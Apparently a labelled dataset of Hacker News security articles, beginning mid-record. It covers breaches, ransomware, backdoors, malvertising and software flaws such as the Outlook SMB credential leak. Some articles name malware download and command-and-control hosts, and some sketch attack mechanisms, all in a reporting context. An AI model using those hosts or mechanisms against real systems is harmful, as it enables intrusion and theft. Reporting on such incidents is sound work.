Defaced domains are:
https://bjp.org
https://bjpmp.org.in/

The group also posted a YouTube video with a message from anonymous:

Video Saying that the group's been observing the deteriorating condition of free speech in India, and the government's attempts to block social media.

Last month, Anonymous Operation India (AnonOps India), had defaced the online magazine of the Indian Youth Congress Yuvadesh.com, in support of India Against Corruption and protests against alleged internet censorship by the Indian government.

Source

",Cyber_Attack
Cyber Espionage Group Ported Windows Malware to Mac,https://thehackernews.com/2014/09/cyber-espionage-group-ported-windows.html,"Till now we have seen a series of different malware targeting Windows operating system and not Mac, thanks to Apple in way it safeguard its devices' security. But with time, cyber criminals and malware authors have found ways to exploit Mac as well.

GROUP BEHIND THE MAC VERSION OF BACKDOOR
Researchers have unmasked a group of cyber criminals that has recently started using a new variant of XSLCmd backdoor program to target Mac OS X systems. This Mac version of backdoor shares a significant portion of its code with the Windows version of the same backdoor that has been around since at least 2009.

According to FireEye researchers, the group, dubbed as GREF, is already infamous for its past cyber espionage attacks against the US Defense Industrial Base (DIB), companies from the electronics and engineering sectors worldwide, foundations and other NGO's as well.
""We track this threat group as ""GREF"" due to their propensity to use a variety of Google references in their activities – some of which will be outlined later in this report. Our tracking of GREF dates back to at least the 2009 timeframe, but we believe they were active prior to this time as well."" researcher said.
WINDOWS MALWARE NOW TARGETING MAC OS X
The malicious program used by the group has ability to open a reverse shell, list and transfer files and install additional malware on the computer it infects. The Mac version of backdoor can also log keystrokes as well as capture screenshots. The group has been using the same XSLCmd backdoor to target Windows users for years.
""The backdoor code was ported to OS X from a Windows backdoor that has been used extensively in targeted attacks over the past several years, having been updated many times in the process,"" security researchers from FireEye said Thursday in a blog post.
HOW BACKDOOR HIDE ITSELF
Once installed on a Macintosh computer, the malware copies itself to /Library/Logs/clipboardd and $HOME/Library/LaunchAgents/clipboardd. The malware also creates a com.apple.service.clipboardd.plist file to ensure its execution after the system reboots.

The code contained in the malware checks for the OS X version of the devices, but account for version 10.8 (Mountain Lion) and versions older than that. This indicates that the malware lack in support for OS X version 10.9, the current version of Mac.

Indeed, this specific sample of malware ""..uses an API from the private Admin framework that is no longer exported in 10.9, causing it to crash.""

GROWING MARKET OF MAC MALWARE
In a follow-up blog titled, Apple OS X: Security Through Obscurity is becoming an Absurdity, FireEye researchers mention Forrester in claiming that the usage of Apple devices is growing rapidly with 52 percent of newly issued computers in the enterprise being Macs.

Since 41 percent of enterprise including VIPs, executives and manager level employees are Apple users, they automatically becomes the prime and rich targets of the cyber criminals. So, cyber criminals are trying every effort to turn malicious and complex Windows malwares to target Mac users.

",Malware
Capital One Hacker Also Accused of Hacking 30 More Companies and CryptoJacking,https://thehackernews.com/2019/08/paige-thompson-capital-one.html,"Former Amazon employee Paige Thompson, who was arrested last month in relation to the Capital One data breach, has been accused of hacking not only the U.S. credit card issuer, but also more than 30 other companies.

An indictment unsealed on Wednesday revealed that Thompson not just stole data from misconfigured servers hosted with a cloud-computing company, but also used the computing power of hacked servers to mine for cryptocurrency, a practice commonly known as ""Cryptojacking.""

Thompson, known online as ""erratic,"" was arrested by the FBI on July 29 concerning a massive breach in Capital One Financial Corp that exposed the personal information of more than 100 million credit card applicants in the United States and 6 million in Canada.

The stolen data included approximately 140,000 Social Security numbers and 80,000 bank account numbers linked to United States customers, and 1 million Social Insurance numbers belonged to Canadian citizens, along with some customers' names, addresses, dates of birth, credit scores, credit limits, balances, payment history, and contact information.

Law enforcement became aware of Thompson's activity after she posted information relating to her theft of Capital One data on her GitHub account.
However, a federal grand jury yesterday charged Thompson with a total of two counts—one count of wire fraud and one count of computer fraud and abuse—for illicitly accessing data on more than 30 other entities, including Capital One, U.S. Department of Justice (DOJ) said.

While the indictment [PDF] did not name the involved cloud-computing company, it's highly likely to be Amazon as Thompson previously worked for Amazon Web Services, which provides cloud computing services to Capital One among others.

But it should also be noted that Amazon Web Services was not compromised in any way since Thompson gained access to the cloud server due to Capital One's misconfiguration and not through a vulnerability in Amazon's infrastructure.

The indictment also did not provide names of the other 30 victims, but it did describe three of the targeted organizations as a state agency outside the State of Washington, a telecommunications conglomerate outside the U.S. and a public research university outside the State of Washington.

Investigators have found no evidence of Thompson selling or disseminating any of the stolen information.

The 33-year-old Seattle-based software engineer remains in custody and is scheduled to be arraigned on the indictment in U.S. District Court in Seattle on September 5. She could face up to 25 years in prison if convicted.

",Data_Breaches
Beef Supplier JBS Paid Hackers $11 Million Ransom After Cyberattack,https://thehackernews.com/2021/06/beef-supplier-jbs-paid-hackers-11.html,"Meat processing company JBS on Wednesday confirmed it paid extortionists $11 million in bitcoins to regain access to its systems following a destructive ransomware attack late last month.
""In consultation with internal IT professionals and third-party cybersecurity experts, the company made the decision to mitigate any unforeseen issues related to the attack and ensure no data was exfiltrated,"" JBS USA said in a statement, with CEO Andre Nogueira adding the firm made the ""very difficult decision"" to prevent any potential risk for its customers.
Stating that third-party forensic investigations into the incident are still ongoing, the company noted that no company, customer, or employee data was compromised as a consequence of the breach. The FBI officially discourages victims from paying ransoms because doing so can establish a profitable criminal marketplace.
JBS, the world's largest meat company by sales, on May 30 disclosed it fell prey to an ""organized cybersecurity attack"" targeting its IT network, temporarily knocking out its operations in Australia, Canada, and the U.S. The intrusion was attributed to REvil (aka Sodinokibi), a prolific Russia-linked cybercrime group that has emerged as one of the top-earning ransomware cartels by revenue.
Run as a ransomware-as-a-service business, REvil was also one of the early adopters of the so-called ""double extortion"" model that has since been emulated by other groups to exert further pressure on the victim company to meet ransom demands within the designated timeframe and maximize their chances of making a profit.
The technique involves stealing sensitive data prior to encrypting them, thus opening the door to new threats wherein refusal to engage can result in the stolen data being published on its website on the dark web.
REvil and its affiliates accounted for about 4.6% of attacks on the public and private sectors in the first quarter of 2021, according to statistics published by Emsisoft last month, making it the fifth most commonly reported ransomware strain after STOP (51.4%), Phobos (6.6%), Dharma (5.1%), and Makop (4.7%).
The syndicates are known to launder their financial proceeds through Bitcoin mixing services so as to obscure the trail, which is then sent to both legitimate and high-risk cryptocurrency exchange portals to convert the bitcoins into fiat, real-world currency.
The attack on JBS comes amid a recent spate of ransomware incursions in which companies are hit with demands for multimillion-dollar payments in exchange for a key to unlock the systems. Last month, Colonial Pipeline shelled out a ransom amount of approximately 75 bitcoins ($4.4 million as of May 8) to restore services, although the U.S. government earlier this week managed to recoup most of the money by tracking the bitcoin trails.
""Being extorted by criminals is not a position any company wants to be in,"" Colonial Pipeline CEO Joseph Blount said in a hearing before the U.S. Senate Committee on June 8. ""As I have stated publicly, I made the decision that Colonial Pipeline would pay the ransom to have every tool available to us to swiftly get the pipeline back up and running. It was one of the toughest decisions I have had to make in my life.""
In a similar development, U.S. insurance firm CNA is said to have allegedly paid off $40 million to the attackers to recover access to its systems in what's believed to be one of the most expensive ransoms settled to date. In a statement shared on May 12, the company said it had ""no evidence to indicate that external customers were potentially at risk of infection due to the incident.""
The incessant attacks on critical infrastructure and their impact to supply chains have prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to publish a fact sheet detailing the rising threat of ransomware to operational technology assets and control systems and help organizations build effective resilience.

",Malware
Researchers Find New Evidence Linking Diavol Ransomware to TrickBot Gang,https://thehackernews.com/2021/08/researchers-find-new-evidence-linking.html,"Cybersecurity researchers have disclosed details about an early development version of a nascent ransomware strain called Diavol that has been linked to threat actors behind the infamous TrickBot syndicate.
The latest findings from IBM X-Force show that the ransomware sample shares similarities to other malware that has been attributed to the cybercrime gang, thus establishing a clearer connection between the two.
In early July, Fortinet revealed specifics of an unsuccessful ransomware attack involving Diavol payload targeting one of its customers, highlighting the malware's source code overlaps with that of Conti and its technique of reusing some language from Egregor ransomware in its ransom note.
""As part of a rather unique encryption procedure, Diavol operates using user-mode Asynchronous Procedure Calls (APCs) without a symmetric encryption algorithm,"" Fortinet researchers previously said. ""Usually, ransomware authors aim to complete the encryption operation in the shortest amount of time. Asymmetric encryption algorithms are not the obvious choice as they [are] significantly slower than symmetric algorithms.""
Now an assessment of an earlier sample of Diavol — compiled on March 5, 2020, and submitted to VirusTotal on January 27, 2021 — has revealed insights into the malware's development process, with the source code capable of terminating arbitrary processes and prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker.
What's more, the initial execution of the ransomware leads to it collecting system information, which is used to generate a unique identifier that's nearly identical to the Bot ID generated by TrickBot malware, except for the addition of the Windows username field.
A point of similarity between the two ransomware samples concerns the registration process, where the victim machine uses the identifier created in the previous step to register itself with a remote server. ""This registration to the botnet is nearly identical in both samples analyzed,"" IBM Security's Charlotte Hammond and Chris Caridi said. ""The primary difference is the registration URL changing from https://[server_address]/bots/register to https://[server_address]/BnpOnspQwtjCA/register.""
But unlike the fully functional variant, the development sample not only has its file enumeration and encryption functions left unfinished, it also directly encrypts files with the extension "".lock64"" as they are encountered, instead of relying on asynchronous procedure calls. A second deviation detected by IBM is that the original file is not deleted post encryption, thus obviating the need for a decryption key.
Diavol's links to TrickBot also boil down to the fact that HTTP headers used for command-and-control (C2) communication are set to prefer Russian language content, which matches the language used by the operators.
Another clue tying the malware to the Russian threat actors is the code for checking the language on the infected system to filter out victims in Russia or the Commonwealth of Independent States (CIS) region, a known tactic adopted by the TrickBot group.
""Collaboration between cybercrime groups, affiliate programs and code reuse are all parts of a growing ransomware economy,"" the researchers said. ""The Diavol code is relatively new in the cybercrime area, and less infamous than Ryuk or Conti, but it likely shares ties to the same operators and blackhat coders behind the scenes.""

",Malware
AOL Advertising Network Abused to Distribute Malware,https://thehackernews.com/2015/01/aol-advertising-network-abused-to_6.html,"Security researchers have uncovered a malvertising campaign used to distribute malware to visitors of The Huffington Post website, as well as several other sites, through malicious advertisements served over the AOL advertising network.

At the end of last year, Cyphort Labs, security firm specialized in detecting malware threats, came across some malicious advertisements that were being served on the United States and Canadian versions of the popular news website The Huffington Post.

The malicious advertisements eventually redirected visitors of the news website to other websites hosting exploit kits, in order to attack victims' computers and install malware.

Researchers discovered that the malvertising campaign originates with ads being served by AOL's Advertising.com network. Once clicked, users are redirected through a series of redirects, some of which used HTTPS encrypted connections, to a page that served either the Neutrino Exploit Kit or the Sweet Orange Exploit Kit.
""Interestingly attackers used a mix of HTTP and HTTPS redirects to hide the servers involved in this attack,"" the Cyphort analysis of the attack states. ""The HTTPS redirector is hosted on a Google App Engine page. This makes analysis based on traffic PCAPs more difficult, because HTTPS traffic is encrypted.""
The exploit kit served both Adobe Flash and VB script exploits – a common target for cybercriminals due to the wide range of vulnerabilities found in it – and then downloaded the Kovter trojan, which is actually a Ransomware that locks the infected computer's screen from access by the user.
""The purpose of this attack is to install a malicious binary – a new variant of a Trojan, from the Kovter family. (SHA1: eec439cb201d12d7befe5482e8a36eeb52206d6f),"" the researchers say. ""The malware was downloaded from indus.qgettingrinchwithebooks.babia-gora.pl:8080 , it was a un-encrypted binary. After execution it connects to a16-kite.pw for CNC. It executes through injecting its payload to a spawned svchost.exe process.""
The websites hosting the exploit kit were "".pl"" domains, the country code top-level domain for Poland. Researchers also noticed that a variety of other websites, including weatherbug.com, mandatory.com and houstonpress.com, were also distributing the malware via malicious advertisements, with the common link being the ""adtech.de"" and ""advertising.com"" advertising networks — both ad platforms owned by AOL.

AOL.com was notified of the issue on Saturday. A spokesman confirmed Cyphort's findings and said the company took the necessary steps to fix the problem. AOL.com said it has stopped malicious software being served by its advertising platforms after being alerted by a security company.
""AOL is committed to bringing new levels of transparency to the advertising process, ensuring ads uphold quality standards and create positive consumer experiences,"" the spokesman wrote.

",Malware
Joomla Joomla! Two Critical Flaws Discovered — Update to Protect Your Site,https://thehackernews.com/2016/10/joomla-security-update.html,"Joomla – the world's second popular open source Content Management System (CMS) software packages, has just released the latest version of its CMS, which includes patches for two critical security vulnerabilities and a bug fix.

The two critical flaws, both exist in the Joomla Core functionalities, include Account Creation Vulnerability (CVE-2016-8870) and Elevated Privileges flaw (CVE-2016-8869) that, if unpatched, could put millions of websites that run on Joomla at risk.

The account creation bug could allow any user to register on a website, even if the registration process has been disabled, while the elevated privileges flaw could enable users to perform advanced functions on a registered site that ordinary users are not authorized to do.

Both the critical vulnerabilities affect Joomla version 3.4.4 through 3.6.3. The update also includes a bug fix for Two-Factor Authentication.

Millions of websites used in e-commerce and other sensitive industries used Joomla, including big brand services such as McDonalds, Linux.com, General Electric, and major news sites.

So, Joomla administrators are recommended to quickly update their websites to the updated version 3.6.4 of the CMS immediately.

",Vulnerability
Linux Kernel Vulnerable to Privilege Escalation and DoS Attack,https://thehackernews.com/2014/06/linux-kernel-vulnerable-to-privilege_7.html,"Multiple flaws have been identified in Linux Kernel and related software could allow hackers to hack your Linux machines, shared hosting and websites hosted on them.

PRIVILEGE ESCALATION VULNERABILITY IN LINUX KERNEL
A privilege escalation vulnerability has been identified in the widely used Linux kernel that could allow an attackers to take the control of users' system.

On Thursday, the most popular distributor of open source Linux OS, Debian warned about this vulnerability (CVE-2014-3153) in a security update, along with some other vulnerabilities in the Linux kernel that may lead to a denial of service attack.

The most critical one is the flaw (CVE-2014-3153) discovered by Pinkie Pie which resides in the futex subsystem call of Linux Kernel 2.6.32.62/3.2.59/3.4.91/3.10.41/3.12.21/3.14.5 versions, leaving a queued kernel waiter on the stack, which can be exploited to potentially execute arbitrary code with kernel mode privileges.
""Pinkie Pie discovered an issue in the futex subsystem that allows a local user to gain ring 0 control via the futex syscall,"" reads the advisory. ""An unprivileged user could use this flaw to crash the kernel (resulting in denial of service) or for privilege escalation.""
Pinkie Pie is the anonymous teenage ethical and skilled hacker who scooped at least $100,000 for bypassing the security features of Google's Chrome, many of them sandbox exploits, at both Pwnium and Pwn2Own competitions every year since 2012.

RESEARCHER'S ADVICE
Kees Cook, a Google Chrome OS security researcher and Ubuntu contributor said that the latest flaw found by Pinkie Pie is ""urgent to fix.""
""Specifically, the futex syscall can leave a queued kernel waiter hanging on the stack. By manipulating the stack with further syscalls, the waiter structure can be altered. When later woken up, the altered waiter can result in arbitrary code execution in ring 0,"" Cook wrote Thursday on Seclists.org. ""This flaw is especially urgent to fix because futex tends to be available within most Linux sandboxes (because it is used as a glibc pthread primitive).""
CHKROOTKIT - ANOTHER CRITICAL FLAW
The vulnerability highlighted two days after Thomas Stangner reported a serious flaw in the chkrootkit (Check Rootkit), a rootkit detector, that allows a local attacker to gain root access to gain root control by executing malicious code inside the /tmp directory.

A common Unix-based program, chkrootkit helps system administrators to check their systems for known rootkits. The vulnerability in the chkrootkit, assigned CVE-2014-0476 ID, actually resides in the slapper() function in the shell script chkrootkit package. A non-root user can place any malicious executable file named 'update' in /tmp folder, which will get executed as root whenever chkrootkit will scan this directory for rootkits.

OTHER VULNERABILITIES IN LINUX KERNEL
Another security issues (CVE-2014-3144 and CVE-2014-3145) also have been discovered in the Linux kernel that could allow any local user to cause a Denial of Service (DoS) attack via crafted BPF instructions.

Debian has issued the patches for these vulnerabilities and encouraged Linux users to upgrade their Linux packages highlighting that the issue has been fixed in the stable distribution, version 3.2.57-3+deb7u2, and will be fixed in the unstable distribution as soon as possible.

",Malware
Forever 21 Warns Shoppers of Payment Card Breach at Some Stores,https://thehackernews.com/2017/11/data-breach-forever21.html,"Another day, another data breach. This time a fast-fashion retailer has fallen victim to payment card breach.

American clothes retailer Forever 21 announced on Tuesday that the company had suffered a security breach that allowed unknown hackers to gain unauthorized access to data from payment cards used at a number of its retail locations.

The Los Angeles based company, which operates over 815 stores in 57 countries, didn't say which of its stores were affected, but it did note that customers who shopped between March and October this year may be affected.

Forever 21 learned of the breach after the retailer received a report from a third-party monitoring service, suggesting there may have been ""unauthorized access to data from payment cards that were used at certain FOREVER 21 stores.""

Besides this, the company also revealed that it implemented encryption and token-based authentication systems in 2015 that are intended to protect transaction data on its point-of-sale (PoS) machines in its stores.

However, due to dysfunctional of the security layers on certain PoS devices, hackers were able to gain unauthorized access to data from payment cards at some Forever 21 stores, the company admitted.

Since the investigation of its payment card systems is still ongoing, complete findings of the incident, including the number of customers potentially affected, are not available at the moment.

""Forever 21 immediately began an investigation of its payment card systems and engaged a leading security and forensics firm to assist,"" the US clothing retailer said while announcing the data breach.
""We regret that this incident occurred and apologize for any inconvenience. We will continue to work to address this matter.""

Meanwhile, customers who shopped at Forever 21 are advised to monitor their payment card statements carefully, and immediately notify their banks that issued the card for any unauthorized charge.

This incident is yet another embarrassing breach disclosed recently, followed by Disqus' disclosure of a 5-year-old breach where hackers stole details of over 17.5 million users and Yahoo's disclosure that 2013 data breach affected all of its 3 Billion users.

The recent incidents also include Equifax's disclosure of a breach of potentially 145.5 million customers, U.S. Securities and Exchange Commission (SEC) disclosure of a breach that profited hackers, and Deloitte's revelation of a cyber attack that resulted in the theft of its clients' private emails and documents.

",Data_Breaches
GPS based tracking service provided by Samsung vulnerable to thieves,https://thehackernews.com/2012/12/manufacture-based-gps-tracking-services.html,"Samsung which is currently believed to the highest Smartphones Seller in the World is now providing a Remote tracking solution in all its smartphones to Track the lost phone with the name ""Samsung Dive"". The Service is based on the Architecture which primarily acquires precise location of the smart phone using it GPS and other subsidiary location acquisition techniques. The Service is basically meant to be used by the users to track their phone in case of theft or lost phone.

Security Researcher Jiten Jain discovered that this GPS based location tracking service provided by manufacturer (Samsung) is also vulnerable to Theft and Malwares.

To use this inbuilt tracking Service, User has to simply create an account with Samsung (www.samsungdive.com). Users than have to enable remote services to track device and wipe data remotely. The permission can be disabled or modified only by the Samsung account holder after logging in and cannot be disabled by anyone else.

When a user wants to track his device, He simply has to log on to Samsung tracking Service website ""www.samsungdive.com"" and just press track my device button. The application will then remotely connect to the lost device and switch on its GPS receiver automatically and acquire the precise location of device. In case of GPS unavailability other subsidiary location acquisition techniques like Wi-Fi or cell tower triangulation may be used. The acquired location is then sent to the Server and shown on a Map to the User.
During Research Mr. Jain found that this location based tracking Service provided by Device Samsung in its Android based Smartphones is completely vulnerable to Location Spoofing Attacks. Which means in case of Phone theft the Thief can simply broadcast a fake location on Samsung tracking server and mislead Original Phone User/Owner to believe that the phone is genuinely at fake location. The locations can be faked continuously to random places anywhere in the world. All this happens because Samsung's Location API's are completely vulnerable to be manipulated by installing commonly available simple GPS location spoofer on the device.

To demonstrate this flaw a simple easily available location spoofing app was installed in the targeted Device in Delhi and Spoof Location was set to somewhere in Jordan. The location Spoofer application was then activated to Override any GPS location request in the device and instead provide the pre-set spoofed location coordinates of Jordan. Then Samsung's Device tracking Service was used to track the Targeted Device. The Location shown on the Samsung's Device Tracking Map on Web Interface showed that Phone was Indeed in Jordan.

Pictures of Spoofed Location of a Samsung Galaxy Note are shown below.

Though other applications AVG and famous tracking application like Lookout also provide similar Services were are also vulnerable to location spoofing but Samsung's own tracking service becomes far more critical and important as Samsung is the device Manufacturer and tracking module comes inbuilt in the phone and most widely used. Since such tracking applications also provide remote data wipe service also, Phone owners always prefers device manufacturers solution instead of a Third party tracking application

Apart from this Location spoofing Vulnerability, To make thing worse, Samsung tracking application also shows notification that device is being tracked remotely. This simply alerts the hacker or thief. This defeats the very fundamental principal and purpose of a tracking application, which should always work on the principal of hidden remote tracking in case of theft.

This leaves Millions of Samsung smartphone owners who rely on Samsung's tracking service vulnerable and helpless and in case of phone theft. Since Samsung's Location API's are so vulnerable to location spoofing attacks, This vulnerability may well be Used by malware writers to remotely spoof the location of a device, Which will throw the Navigation applications like Google Maps show the incorrect current location and wrong crazy Routes to destinations and it may also be well used by an hackers to write malwares to throw Location based services on the device in complete disarray.

Hope Samsung comes up with a fix before your location is spoofed.

Source : https://xebee.xebia.in/2012/12/07/gps-based-tracking-service-provided-by-samsung-vulnerable-to-location-spoofing-attacks/

",Vulnerability
Poor Password Security Led to Recent Water Treatment Facility Hack,https://thehackernews.com/2021/02/poor-password-security-lead-to-recent.html,"New details have emerged about the remote computer intrusion at a Florida water treatment facility last Friday, highlighting a lack of adequate security measures needed to bulletproof critical infrastructure environments.
The breach involved an unsuccessful attempt on the part of an adversary to increase sodium hydroxide dosage in the water supply to dangerous levels by remotely accessing the SCADA system at the water treatment plant. The system's plant operator, who spotted the intrusion, quickly took steps to reverse the command, leading to minimal impact.
Now, according to an advisory published on Wednesday by the state of Massachusetts, unidentified cyber actors accessed the supervisory control and data acquisition (SCADA) system via TeamViewer software installed on one of the plant's several computers that were connected to the control system.
Not only were these computers running 32-bit versions of the Windows 7 operating system, but the machines also shared the same password for remote access and are said to have been exposed directly to the Internet without any firewall protection installed.
It's worth noting that Microsoft Windows 7 reached end-of-life as of last year, on January 14, 2020.
Adding to the woes, more often than not, many small public utilities are saddled with aging infrastructure, and the IT departments tend to be under-resourced, lacking in budget and expertise to upgrade their security posture and address vulnerabilities in a timely fashion.
""Restrict all remote connections to SCADA systems, specifically those that allow physical control and manipulation of devices within the SCADA network,"" Massachusetts state officials said. ""One-way unidirectional monitoring devices are recommended to monitor SCADA systems remotely.""
""Keep computers, devices, and applications, including SCADA/industrial control systems (ICS) software, patched and up-to-date,"" the alert cautioned, adding ""use two-factor authentication with strong passwords.""
The U.S. Cybersecurity and Infrastructure Security Agency (CISA), in a separate alert published today, warned of ""cybercriminals targeting and exploiting desktop sharing software and computer networks running operating systems with end of life status to gain unauthorized access to systems.""
The agency, besides recommending protective measures such as installing independent cyber-physical safety systems, also issued additional guidance when using TeamViewer, urging organizations to configure the service to ""manual start"" and refrain from using unattended access features.

",Cyber_Attack
Zeus 2.x variant includes ransomware features,https://thehackernews.com/2012/05/zeus-2x-variant-includes-ransomware.html,"Zeus 2.x variant includes ransomware features

Cybercriminals are getting more sophisticated, as reports are coming in that hacker coders have successfully merged a ransom trojan with a Zeus malware successor called Citadel. A notorious malware platform targeting financial information has added a new trick to its portfolio a digital version of hijack and ransom.

F-Secure researchers have recently spotted a new Zeus 2.x variant that includes a ransomware feature. Basically a customised version of Zeus, the malware aims to provide better support for its offshoot of the Zeus code base, whilst at the same time allowing clients to vote on feature requests and code their own modules for the crimeware platform.

Net-security explains the working of this Zeus 2.x variant,that Once this particular piece of malware is executed, it first opens Internet Explorer and points it towards a specific URL : lex.creativesandboxs.com/locker/lock.php. Simultaneously, the users are blocked from doing anything on their computer.

Unlocking can therefore be performed quite easily with a registry editor:

1. boot the system in safe mode
2. add a new key named syscheck under HKEY_CURRENT_USER
3. create a new DWORD value under the syscheck key
4. set the name of the new DWORD value to Checked
5. set the data for the Checked value to 1
6. reboot

",Malware
US Charges Two Russian Spies & Two Hackers For Hacking 500 Million Yahoo Accounts,https://thehackernews.com/2017/03/yahoo-russian-hacker.html,"The 2014 Yahoo hack disclosed late last year that compromised over 500 million Yahoo user accounts was believed to be carried out by a state-sponsored hacking group.

Now, two Russian intelligence officers and two criminal hackers have been charged by the US government in connection with the 2014 Yahoo hack that compromised about 500 million Yahoo user accounts, the Department of Justice announced Wednesday.

According to the prosecutors, at least 30 million accounts were accessed as part of a spam campaign to access the email contents of thousands of people, including journalists, government officials, and technology company employees.

The four defendants — Two officers from the Russian Federal Security Service (FSB) and two other hackers — are identified as:

Dmitry Aleksandrovich Dokuchaev, 33 — an officer in the FSB Center for Information Security at the time of the hack, and now Russian national and resident.
Igor Anatolyevich Sushchin, 43 — an FSB officer, a superior to Dokuchaev within the FSB, and Russian national and resident.
Alexsey Alexseyevich Belan, aka ""Magg,"" 29 — a Russian national and resident, who has been on the FBI's Most Wanted Hackers list and indicted twice in 2012 and 2013 by U.S. Federal grand juries for hacking and fraud charges.
Karim Baratov, aka ""Kay,"" ""Karim Taloverov"" and ""Karim Akehmet Tokbergenov,"" 22 — a Canadian and Kazakh national and a resident of Canada.

In a 38-page indictment [PDF] unsealed Wednesday, the prosecutors said the two Russian spies worked with two other hackers to break into and gained initial access to Yahoo in early 2014.

Belan, who is on the FBI's most-wanted cybercriminals list, used the file transfer protocol (FTP) to download the Yahoo database, containing usernames, recovery e-mail accounts, phone numbers as well as ""certain information required to manually create, or ""mint,"" account authentication web browser ""cookies"" for more than 500 million Yahoo accounts.""

The spies then used the stolen information to obtain unauthorized access to the contents of accounts at Yahoo, Google and other webmail providers, including those of Russian and American officials, Russian journalists, employees of financial services and other businesses.

The range of charges are officially listed as:

Conspiring to commit computer fraud and abuse
Conspiring to engage in and the theft of trade secrets
Conspiring to engage in and committing economic espionage
Conspiring to commit wire fraud
Counterfeit access device fraud
Counterfeit access device making equipment
Aggravated identity theft
Transmitting code with the intent to cause damage to computers
Unauthorized access to a computer for obtaining information for commercial advantage and private financial gain

Baratov was arrested on Tuesday by the Toronto Police Department, while Belan and the two FSB officers are in Russia. The United States has requested all the three to be handed over to face charges, but the US has no extradition treaty with Russia.

Meanwhile, Assistant Attorney General Mary McCord said that there was no connection between the Wednesday indictment and the investigation into the hacking of the Democratic National Committee (DNC) last year.

The news of the arrest came few weeks after Yahoo and Verizon Communications Inc. agreed to reduce the price of the upcoming acquisition deal by $350 Million in the wake of the two data breaches.

The deal, which was previously finalized at $4.8 Billion, now valued at about $4.48 Billion in cash and is expected to close in the second quarter.

",Data_Breaches
Hackers Stole $5.4 Million From Eterbase Cryptocurrency Exchange,https://thehackernews.com/2020/09/hackers-stole-cryptocurrencies.html,"Cybercriminals successfully plundered another digital cryptocurrency exchange.

European cryptocurrency exchange Eterbase this week disclosed a massive breach of its network by an unknown group of hackers who stole cryptocurrencies worth 5.4 million dollars.

Eterbase, which has now entered maintenance mode until the security issue is resolved, described itself as Europe's Premier Digital Asset Exchange.

Based in Bratislava, Slovakia, and launched in 2019, Eterbase is a small cryptocurrency exchange platform that focuses on crypto to SEPA integration (via individual IBAN accounts), multi-asset support, and regulatory compliance.


On Monday night, malicious threat actors managed to raid six Eterbase's hot wallets for Bitcoin, Ethereum, XRP, Tezos, Algorand, and TRON and transferred the funds into their wallets managed at six rival crypto exchanges, Eterbase reported on its Telegram channel on Tuesday.

According to a tweet posted by the affected exchange, Eterbase tracked a big part of its stolen funds to centralized exchanges, including Binance, HitBTC, and Huobi, and contacted their support teams for further assistance.

The company has already notified law enforcement authorities and affected customers, assuring that they have enough capital to meet all the obligations and take all necessary steps to ensure that the amount of the deposit of their clients does not suffer any damage result of the hack.

""We want to inform our users that we have enough capital to meet all our obligations, and at the same time, we want to reassure everyone that this event won't stop our journey!,"" the exchange said.

Since the investigation is ongoing, the exchange refused to share more details of the security breach incident.

""After the security audit of renowned global companies, our operations will continue. We will announce the date of the re-opening of the ETERBASE Exchange platform as soon as possible,' the company said.


",Cyber_Attack
6 Million Virgin Mobile users vulnerable to Hackers,https://thehackernews.com/2012/09/6-million-virgin-mobile-users.html,"Virgin Mobile customers beware: Your phone number is the key to your personal information. According to independent developer Kevin Burke, who warned Virgin Mobile USA customers about a glaring security hole in the phone company's account login protocol said, ""If you are one of the six million Virgin subscribers, you are at the whim of anyone who doesn't like you.""

Virgin Mobile USA users manage their account by logging in through an online portal, which requires a mobile number and a 6-digit pin. Once inside, customers can check their call records, change the handset associated with their number, and update their personal details.

In a blog post on Monday, Kevin Burke detailed how the username and password system used by Virgin Mobile to let users access their account information, is inherently weak and open to abuse.

""It is trivial to write a program that checks all million possible password combinations, easily determining anyone's PIN inside of one day,"" Burke said in a blog post. ""I verified this by writing a script to 'brute force' the PIN number of my own account."" For comparison, an 8-letter password with uppercase letters, lowercase letters, and digits has 218,340,105,584,896 possible combinations, Burke said.

Burke said that after several phone and email exchanges with parent company Sprint in which he attempted to warn them about the exploit, he was ignored and his concern was dismissed. That's when he decided to expose the flaw to the public.

The Sprint spokeswoman said that the company maintains confidentiality about its security measures, but noted that customer accounts are monitored constantly for possible illegal or inappropriate activity.

""We greatly appreciate Mr. Burke's outreach to the company and are reaching out to him as well,"" she said. ""His inquiry did enable us to even further secure our customers' accounts.""

Virgin Mobile USA's Manage My Account portal is down as of Wednesday, September 19, 3:34 p.m. AEST (Tuesday, September 18, 11:34 p.m. PT). Virgin Mobile Australia also uses a 6-digit PIN system for customers to access their account online. It stressed that while both companies operate under the Virgin Brand, Virgin Mobile Australia is a completely separate entity to Virgin Mobile USA.Virgin Mobile Australia claimed that its customers are not affected by the security flaw in question.

",Vulnerability
Flaw in Microsoft Outlook Lets Hackers Easily Steal Your Windows Password,https://thehackernews.com/2018/04/outlook-smb-vulnerability.html,"A security researcher has disclosed details of an important vulnerability in Microsoft Outlook for which the company released an incomplete patch this month—almost 18 months after receiving the responsible disclosure report.

The Microsoft Outlook vulnerability (CVE-2018-0950) could allow attackers to steal sensitive information, including users' Windows login credentials, just by convincing victims to preview an email with Microsoft Outlook, without requiring any additional user interaction.

The vulnerability, discovered by Will Dormann of the CERT Coordination Center (CERT/CC), resides in the way Microsoft Outlook renders remotely-hosted OLE content when an RTF (Rich Text Format) email message is previewed and automatically initiates SMB connections.

A remote attacker can exploit this vulnerability by sending an RTF email to a target victim, containing a remotely-hosted image file (OLE object), loading from the attacker-controlled SMB server.

Since Microsoft Outlook automatically renders OLE content, it will initiate an automatic authentication with the attacker's controlled remote server over SMB protocol using single sign-on (SSO), handing over the victim's username and NTLMv2 hashed version of the password, potentially allowing the attacker to gain access to the victim's system.
""This may leak the user's IP address, domain name, username, hostname, and password hash. If the user's password is not complex enough, then an attacker may be able to crack the password in a short amount of time,"" the US-CERT explains.

If you are thinking, why would your Windows PC automatically hand over your credentials to the attacker's SMB server?
This is how authentication via the Server Message Block (SMB) protocol works in combination with the NTLM challenge/response authentication mechanism, as described in the following image.

Dormann reported the vulnerability to Microsoft in November 2016, and in an attempt to patch the issue, the company released an incomplete fix in its April 2018 patch Tuesday update—that's almost 18 months of the reporting.

The security patch only prevents Outlook from automatically initiating SMB connections when it previews RTF emails, but the researcher noted that the fix does not prevent all SMB attacks.

""It is important to realize that even with this patch, a user is still a single click away from falling victim to the types of attacks described above,"" Dormann said. ""For example, if an email message has a UNC-style link that begins with ""\\"", clicking the link initiates an SMB connection to the specified server.""
